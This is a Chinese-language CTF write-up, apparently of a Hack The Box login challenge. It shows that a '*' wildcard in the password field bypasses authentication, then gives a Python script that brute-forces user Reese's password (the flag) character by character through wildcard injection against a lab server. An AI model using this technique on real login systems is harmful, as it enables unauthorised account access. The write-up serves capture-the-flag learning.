
按照上文,templated是与模板有关,那这个不会和电话簿有关吧
照例,先访问web看看怎么回事,一个登陆界面

先简单试了试sql注入,发现未成功,网站提示认证失败,扫描发现有xss,执行了也确实弹了框,但是感觉并没有什么用

根据页面的提示,不妨猜测这个有可能是一个用户名,或许可以尝试暴力破解

但是我们失败了,尝试扫描目录,看看有没有其他收获,但是也失败了,看了还得从这个登录表单入手,后来发现在密码中填入*,回报产生变化

回到页面。发现确实跳转到了另一个页面

在搜索框中可以搜索一些信息


发现搜索什么都会有结果,但是尝试搜索flag或HTB时却没有结果,这个时候确实不知道该做什么了,看了一下别人的,发现原来flag就是Reese的密码
因为flag的结构为

利用通配符,在秘密正确时,就像刚才那样直接就会登录
而密码错误时,则提示认证失败,其url为

因此可以一步一步的破解出最终的密码,依次执行HTB{a*}、HTB{b*}······HTB{z*}、HTB{A*}、HTB{B*}······HTB{Z*}、HTB{0*}、HTB{1*}······HTB{9*},按照回包信息最终确定这个字母是什么,再去确定下一个字母
那么可以写一个python脚本逐一去暴力破解出密码,可以用返回的url来判断是否是正确的
- import requests
- import time
-
- headers = {"UserAgent" : "Mozilla/4.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36"}
- url = "http://104.248.172.48:32162/login"
-
- #生成包含大小写字母,数字,符号的列表
- charList = [chr(i) for i in range(48,91)]
- charList = charList + [chr(i) for i in range(97,123)]
-
- start = 0
- flag = "HTB{"
-
- while 1:
- for char in charList:
- password = flag + charList[start] + "*}"
-
- #向服务器发起请求
- data = {"username" : "Reese", "password" : password}
- response = requests.post(url,headers=headers,data=data)
-
- #打印执行过程与结果
- print(password+":"+response.url)
-
- #延时3秒
- time.sleep(3)
-
- #判断结果并打印
- if response.url == "http://104.248.172.48:32162/login?message=Authentication%20failed":
- start += 1
- else:
- print(password)
- flag = flag + charList[start]
- start = 0
- break
结果

等待结果的过程可能非常漫长。。。。。。
